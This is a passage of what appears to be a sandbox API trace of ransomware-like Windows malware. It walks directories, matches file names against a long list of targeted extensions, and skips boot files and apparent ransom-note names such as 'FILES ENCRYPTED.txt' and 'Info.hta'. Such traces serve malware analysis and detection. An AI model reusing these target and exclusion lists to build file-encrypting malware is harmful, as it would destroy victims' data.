	[0164.900] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0164.900] lstrlenW (lpString=".asp") returned 4
	[0164.900] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0164.900] lstrlenW (lpString=".aspx") returned 5
	[0164.900] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0164.900] lstrlenW (lpString=".asr") returned 4
	[0164.900] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0164.900] lstrlenW (lpString=".asx") returned 4
	[0164.900] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0164.900] lstrlenW (lpString=".avi") returned 4
	[0164.900] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0164.900] lstrlenW (lpString=".avs") returned 4
	[0164.900] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0164.900] lstrlenW (lpString=".backup") returned 7
	[0164.900] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1
	[0164.900] lstrlenW (lpString=".bak") returned 4
	[0164.900] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0164.900] lstrlenW (lpString=".bay") returned 4
	[0164.900] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0164.900] lstrlenW (lpString=".bd") returned 3
	[0164.900] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0164.900] lstrlenW (lpString=".bin") returned 4
	[0164.900] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0164.900] lstrlenW (lpString=".bmp") returned 4
	[0164.900] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0164.900] lstrlenW (lpString=".bz2") returned 4
	[0164.901] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0164.901] lstrlenW (lpString=".c") returned 2
	[0164.901] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0164.901] lstrlenW (lpString=".cdr") returned 4
	[0164.901] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0164.901] lstrlenW (lpString=".cer") returned 4
	[0164.901] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0164.901] lstrlenW (lpString=".cf") returned 3
	[0164.901] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0164.901] lstrlenW (lpString=".cfc") returned 4
	[0164.901] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0164.901] lstrlenW (lpString=".cfm") returned 4
	[0164.901] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0164.901] lstrlenW (lpString=".cfml") returned 5
	[0164.901] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0164.901] lstrlenW (lpString=".cfu") returned 4
	[0164.901] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0164.901] lstrlenW (lpString=".chm") returned 4
	[0164.901] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0164.901] lstrlenW (lpString=".cin") returned 4
	[0164.901] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0164.901] lstrlenW (lpString=".class") returned 6
	[0164.901] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1
	[0164.901] lstrlenW (lpString=".clx") returned 4
	[0164.901] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0164.901] lstrlenW (lpString=".config") returned 7
	[0164.901] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1
	[0164.901] lstrlenW (lpString=".cpp") returned 4
	[0164.901] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0164.901] lstrlenW (lpString=".cr2") returned 4
	[0164.901] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0164.901] lstrlenW (lpString=".crt") returned 4
	[0164.901] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0164.901] lstrlenW (lpString=".crw") returned 4
	[0164.901] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0164.901] lstrlenW (lpString=".cs") returned 3
	[0164.902] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0164.902] lstrlenW (lpString=".css") returned 4
	[0164.902] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0164.902] lstrlenW (lpString=".csv") returned 4
	[0164.902] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0164.902] lstrlenW (lpString=".cub") returned 4
	[0164.902] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0164.902] lstrlenW (lpString=".dae") returned 4
	[0164.902] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0164.902] lstrlenW (lpString=".dat") returned 4
	[0164.902] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0164.902] lstrlenW (lpString=".db") returned 3
	[0164.902] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0164.902] lstrlenW (lpString=".dbf") returned 4
	[0164.902] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0164.902] lstrlenW (lpString=".dbx") returned 4
	[0164.902] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0164.902] lstrlenW (lpString=".dc3") returned 4
	[0164.902] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0164.902] lstrlenW (lpString=".dcm") returned 4
	[0164.902] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0164.902] lstrlenW (lpString=".dcr") returned 4
	[0164.902] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0164.902] lstrlenW (lpString=".der") returned 4
	[0164.902] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0164.902] lstrlenW (lpString=".dib") returned 4
	[0164.902] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0164.902] lstrlenW (lpString=".dic") returned 4
	[0164.902] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0164.902] lstrlenW (lpString=".dif") returned 4
	[0164.902] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0164.902] lstrlenW (lpString=".divx") returned 5
	[0164.902] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0164.902] lstrlenW (lpString=".djvu") returned 5
	[0164.902] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0164.902] lstrlenW (lpString=".dng") returned 4
	[0164.903] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0164.903] lstrlenW (lpString=".doc") returned 4
	[0164.903] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0164.903] lstrlenW (lpString=".docm") returned 5
	[0164.903] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0164.903] lstrlenW (lpString=".docx") returned 5
	[0164.903] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0164.903] lstrlenW (lpString=".dot") returned 4
	[0164.903] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0164.903] lstrlenW (lpString=".dotm") returned 5
	[0164.903] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0164.903] lstrlenW (lpString=".dotx") returned 5
	[0164.903] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0164.903] lstrlenW (lpString=".dpx") returned 4
	[0164.903] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0164.903] lstrlenW (lpString=".dqy") returned 4
	[0164.903] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0164.903] lstrlenW (lpString=".dsn") returned 4
	[0164.903] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0164.903] lstrlenW (lpString=".dt") returned 3
	[0164.903] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0164.903] lstrlenW (lpString=".dtd") returned 4
	[0164.903] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0164.903] lstrlenW (lpString=".dwg") returned 4
	[0164.903] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0164.903] lstrlenW (lpString=".dwt") returned 4
	[0164.903] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0164.903] lstrlenW (lpString=".dx") returned 3
	[0164.903] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0164.903] lstrlenW (lpString=".dxf") returned 4
	[0164.903] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0164.903] lstrlenW (lpString=".edml") returned 5
	[0164.903] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0164.903] lstrlenW (lpString=".efd") returned 4
	[0164.903] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0164.903] lstrlenW (lpString=".elf") returned 4
	[0164.903] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0164.904] lstrlenW (lpString=".emf") returned 4
	[0164.904] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0164.904] lstrlenW (lpString=".emz") returned 4
	[0164.904] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0164.904] lstrlenW (lpString=".epf") returned 4
	[0164.904] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0164.904] lstrlenW (lpString=".eps") returned 4
	[0164.904] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0164.904] lstrlenW (lpString=".epsf") returned 5
	[0164.904] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0164.904] lstrlenW (lpString=".epsp") returned 5
	[0164.904] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0164.904] lstrlenW (lpString=".erf") returned 4
	[0164.904] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0164.904] lstrlenW (lpString=".exr") returned 4
	[0164.904] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0164.904] lstrlenW (lpString=".f4v") returned 4
	[0164.904] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0164.904] lstrlenW (lpString=".fido") returned 5
	[0164.904] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0164.904] lstrlenW (lpString=".flm") returned 4
	[0164.904] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0164.904] lstrlenW (lpString=".flv") returned 4
	[0164.904] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0164.904] lstrlenW (lpString=".frm") returned 4
	[0164.904] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0164.904] lstrlenW (lpString=".fxg") returned 4
	[0164.904] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0164.904] lstrlenW (lpString=".geo") returned 4
	[0164.904] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0164.904] lstrlenW (lpString=".gif") returned 4
	[0164.904] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0164.904] lstrlenW (lpString=".grs") returned 4
	[0164.904] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0164.904] lstrlenW (lpString=".gz") returned 3
	[0164.904] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0164.904] lstrlenW (lpString=".h") returned 2
	[0164.904] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0164.905] lstrlenW (lpString=".hdr") returned 4
	[0164.905] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0164.905] lstrlenW (lpString=".hpp") returned 4
	[0164.905] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0164.905] lstrlenW (lpString=".hta") returned 4
	[0164.905] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0164.905] lstrlenW (lpString=".htc") returned 4
	[0164.905] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0164.905] lstrlenW (lpString=".htm") returned 4
	[0164.905] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1
	[0164.905] lstrlenW (lpString=".html") returned 5
	[0164.905] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0164.905] lstrlenW (lpString="index.html") returned 10
	[0164.905] lstrlenW (lpString=".GTF") returned 4
	[0164.905] lstrcmpiW (lpString1=".GTF", lpString2="html") returned -1
	[0164.905] lstrlenW (lpString="index.html") returned 10
	[0164.905] lstrcmpiW (lpString1="boot.ini", lpString2="index.html") returned -1
	[0164.905] lstrcmpiW (lpString1="bootfont.bin", lpString2="index.html") returned -1
	[0164.905] lstrcmpiW (lpString1="ntldr", lpString2="index.html") returned 1
	[0164.905] lstrcmpiW (lpString1="ntdetect.com", lpString2="index.html") returned 1
	[0164.905] lstrcmpiW (lpString1="io.sys", lpString2="index.html") returned 1
	[0164.905] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="index.html") returned -1
	[0164.905] lstrcmpiW (lpString1="Info.hta", lpString2="index.html") returned 1
	[0164.905] lstrcmpiW (lpString1="fvppjh.exe", lpString2="index.html") returned -1
	[0164.905] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\index.html") returned 111
	[0164.905] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0164.905] lstrlenW (lpString="toastbeginupgrade.xml") returned 21
	[0164.905] lstrlenW (lpString=".1cd") returned 4
	[0164.905] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0164.905] lstrlenW (lpString=".3ds") returned 4
	[0164.905] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1
	[0164.905] lstrlenW (lpString=".3fr") returned 4
	[0164.905] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1
	[0164.906] lstrlenW (lpString=".3g2") returned 4
	[0164.906] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1
	[0164.906] lstrlenW (lpString=".3gp") returned 4
	[0164.906] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1
	[0164.906] lstrlenW (lpString=".7z") returned 3
	[0164.906] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0164.906] lstrlenW (lpString=".accda") returned 6
	[0164.906] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1
	[0164.906] lstrlenW (lpString=".accdb") returned 6
	[0164.906] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1
	[0164.906] lstrlenW (lpString=".accdc") returned 6
	[0164.906] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1
	[0164.906] lstrlenW (lpString=".accde") returned 6
	[0164.906] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1
	[0164.906] lstrlenW (lpString=".accdt") returned 6
	[0164.906] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1
	[0164.906] lstrlenW (lpString=".accdw") returned 6
	[0164.906] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1
	[0164.906] lstrlenW (lpString=".adb") returned 4
	[0164.906] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1
	[0164.906] lstrlenW (lpString=".adp") returned 4
	[0164.906] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1
	[0164.906] lstrlenW (lpString=".ai") returned 3
	[0164.906] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1
	[0164.906] lstrlenW (lpString=".ai3") returned 4
	[0164.906] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1
	[0164.906] lstrlenW (lpString=".ai4") returned 4
	[0164.906] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1
	[0164.906] lstrlenW (lpString=".ai5") returned 4
	[0164.906] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1
	[0164.906] lstrlenW (lpString=".ai6") returned 4
	[0164.906] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1
	[0164.906] lstrlenW (lpString=".ai7") returned 4
	[0164.906] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1
	[0164.906] lstrlenW (lpString=".ai8") returned 4
	[0164.906] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1
	[0164.906] lstrlenW (lpString=".anim") returned 5
	[0164.907] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1
	[0164.907] lstrlenW (lpString=".arw") returned 4
	[0164.907] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1
	[0164.907] lstrlenW (lpString=".as") returned 3
	[0164.907] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1
	[0164.907] lstrlenW (lpString=".asa") returned 4
	[0164.907] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1
	[0164.907] lstrlenW (lpString=".asc") returned 4
	[0164.907] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1
	[0164.907] lstrlenW (lpString=".ascx") returned 5
	[0164.907] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1
	[0164.907] lstrlenW (lpString=".asm") returned 4
	[0164.907] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1
	[0164.907] lstrlenW (lpString=".asmx") returned 5
	[0164.907] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1
	[0164.907] lstrlenW (lpString=".asp") returned 4
	[0164.907] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1
	[0164.907] lstrlenW (lpString=".aspx") returned 5
	[0164.907] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1
	[0164.907] lstrlenW (lpString=".asr") returned 4
	[0164.907] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1
	[0164.907] lstrlenW (lpString=".asx") returned 4
	[0164.907] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1
	[0164.907] lstrlenW (lpString=".avi") returned 4
	[0164.907] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1
	[0164.907] lstrlenW (lpString=".avs") returned 4
	[0164.907] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1
	[0164.907] lstrlenW (lpString=".backup") returned 7
	[0164.907] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1
	[0164.907] lstrlenW (lpString=".bak") returned 4
	[0164.907] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1
	[0164.907] lstrlenW (lpString=".bay") returned 4
	[0164.907] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1
	[0164.907] lstrlenW (lpString=".bd") returned 3
	[0164.907] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1
	[0164.907] lstrlenW (lpString=".bin") returned 4
	[0164.907] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1
	[0164.908] lstrlenW (lpString=".bmp") returned 4
	[0164.908] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1
	[0164.908] lstrlenW (lpString=".bz2") returned 4
	[0164.908] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0164.908] lstrlenW (lpString=".c") returned 2
	[0164.908] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0164.908] lstrlenW (lpString=".cdr") returned 4
	[0164.908] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1
	[0164.908] lstrlenW (lpString=".cer") returned 4
	[0164.908] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1
	[0164.908] lstrlenW (lpString=".cf") returned 3
	[0164.908] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1
	[0164.908] lstrlenW (lpString=".cfc") returned 4
	[0164.908] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1
	[0164.908] lstrlenW (lpString=".cfm") returned 4
	[0164.908] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1
	[0164.908] lstrlenW (lpString=".cfml") returned 5
	[0164.908] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1
	[0164.908] lstrlenW (lpString=".cfu") returned 4
	[0164.908] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1
	[0164.908] lstrlenW (lpString=".chm") returned 4
	[0164.908] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1
	[0164.908] lstrlenW (lpString=".cin") returned 4
	[0164.908] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1
	[0164.908] lstrlenW (lpString=".class") returned 6
	[0164.908] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1
	[0164.908] lstrlenW (lpString=".clx") returned 4
	[0164.908] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1
	[0164.908] lstrlenW (lpString=".config") returned 7
	[0164.908] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1
	[0164.908] lstrlenW (lpString=".cpp") returned 4
	[0164.908] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1
	[0164.908] lstrlenW (lpString=".cr2") returned 4
	[0164.908] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1
	[0164.908] lstrlenW (lpString=".crt") returned 4
	[0164.908] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1
	[0164.908] lstrlenW (lpString=".crw") returned 4
	[0164.909] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1
	[0164.909] lstrlenW (lpString=".cs") returned 3
	[0164.909] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1
	[0164.909] lstrlenW (lpString=".css") returned 4
	[0164.909] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1
	[0164.909] lstrlenW (lpString=".csv") returned 4
	[0164.909] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1
	[0164.909] lstrlenW (lpString=".cub") returned 4
	[0164.909] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1
	[0164.909] lstrlenW (lpString=".dae") returned 4
	[0164.909] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1
	[0164.909] lstrlenW (lpString=".dat") returned 4
	[0164.909] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1
	[0164.909] lstrlenW (lpString=".db") returned 3
	[0164.909] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1
	[0164.909] lstrlenW (lpString=".dbf") returned 4
	[0164.909] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0164.909] lstrlenW (lpString=".dbx") returned 4
	[0164.909] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1
	[0164.909] lstrlenW (lpString=".dc3") returned 4
	[0164.909] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1
	[0164.909] lstrlenW (lpString=".dcm") returned 4
	[0164.909] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1
	[0164.909] lstrlenW (lpString=".dcr") returned 4
	[0164.909] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1
	[0164.909] lstrlenW (lpString=".der") returned 4
	[0164.909] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1
	[0164.909] lstrlenW (lpString=".dib") returned 4
	[0164.909] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1
	[0164.909] lstrlenW (lpString=".dic") returned 4
	[0164.909] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1
	[0164.909] lstrlenW (lpString=".dif") returned 4
	[0164.909] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1
	[0164.909] lstrlenW (lpString=".divx") returned 5
	[0164.910] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1
	[0164.910] lstrlenW (lpString=".djvu") returned 5
	[0164.910] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1
	[0164.910] lstrlenW (lpString=".dng") returned 4
	[0164.910] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1
	[0164.910] lstrlenW (lpString=".doc") returned 4
	[0164.910] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0164.910] lstrlenW (lpString=".docm") returned 5
	[0164.910] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1
	[0164.910] lstrlenW (lpString=".docx") returned 5
	[0164.910] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0164.910] lstrlenW (lpString=".dot") returned 4
	[0164.910] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1
	[0164.910] lstrlenW (lpString=".dotm") returned 5
	[0164.910] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1
	[0164.910] lstrlenW (lpString=".dotx") returned 5
	[0164.910] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1
	[0164.910] lstrlenW (lpString=".dpx") returned 4
	[0164.910] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1
	[0164.910] lstrlenW (lpString=".dqy") returned 4
	[0164.910] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1
	[0164.910] lstrlenW (lpString=".dsn") returned 4
	[0164.910] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1
	[0164.910] lstrlenW (lpString=".dt") returned 3
	[0164.910] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1
	[0164.910] lstrlenW (lpString=".dtd") returned 4
	[0164.910] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1
	[0164.910] lstrlenW (lpString=".dwg") returned 4
	[0164.910] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1
	[0164.910] lstrlenW (lpString=".dwt") returned 4
	[0164.910] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1
	[0164.910] lstrlenW (lpString=".dx") returned 3
	[0164.910] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1
	[0164.910] lstrlenW (lpString=".dxf") returned 4
	[0164.910] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1
	[0164.910] lstrlenW (lpString=".edml") returned 5
	[0164.910] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1
	[0164.911] lstrlenW (lpString=".efd") returned 4
	[0164.911] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1
	[0164.911] lstrlenW (lpString=".elf") returned 4
	[0164.911] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1
	[0164.911] lstrlenW (lpString=".emf") returned 4
	[0164.911] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1
	[0164.911] lstrlenW (lpString=".emz") returned 4
	[0164.911] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1
	[0164.911] lstrlenW (lpString=".epf") returned 4
	[0164.911] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1
	[0164.911] lstrlenW (lpString=".eps") returned 4
	[0164.911] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1
	[0164.911] lstrlenW (lpString=".epsf") returned 5
	[0164.911] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1
	[0164.911] lstrlenW (lpString=".epsp") returned 5
	[0164.911] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1
	[0164.911] lstrlenW (lpString=".erf") returned 4
	[0164.911] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1
	[0164.911] lstrlenW (lpString=".exr") returned 4
	[0164.911] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1
	[0164.911] lstrlenW (lpString=".f4v") returned 4
	[0164.911] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1
	[0164.911] lstrlenW (lpString=".fido") returned 5
	[0164.911] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1
	[0164.911] lstrlenW (lpString=".flm") returned 4
	[0164.911] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1
	[0164.911] lstrlenW (lpString=".flv") returned 4
	[0164.911] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1
	[0164.911] lstrlenW (lpString=".frm") returned 4
	[0164.911] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1
	[0164.911] lstrlenW (lpString=".fxg") returned 4
	[0164.911] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1
	[0164.911] lstrlenW (lpString=".geo") returned 4
	[0164.911] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1
	[0164.911] lstrlenW (lpString=".gif") returned 4
	[0164.911] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1
	[0164.911] lstrlenW (lpString=".grs") returned 4
	[0164.912] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1
	[0164.912] lstrlenW (lpString=".gz") returned 3
	[0164.912] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1
	[0164.912] lstrlenW (lpString=".h") returned 2
	[0164.912] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0164.912] lstrlenW (lpString=".hdr") returned 4
	[0164.912] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1
	[0164.912] lstrlenW (lpString=".hpp") returned 4
	[0164.912] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1
	[0164.912] lstrlenW (lpString=".hta") returned 4
	[0164.912] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1
	[0164.912] lstrlenW (lpString=".htc") returned 4
	[0164.912] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1
	[0164.912] lstrlenW (lpString=".htm") returned 4
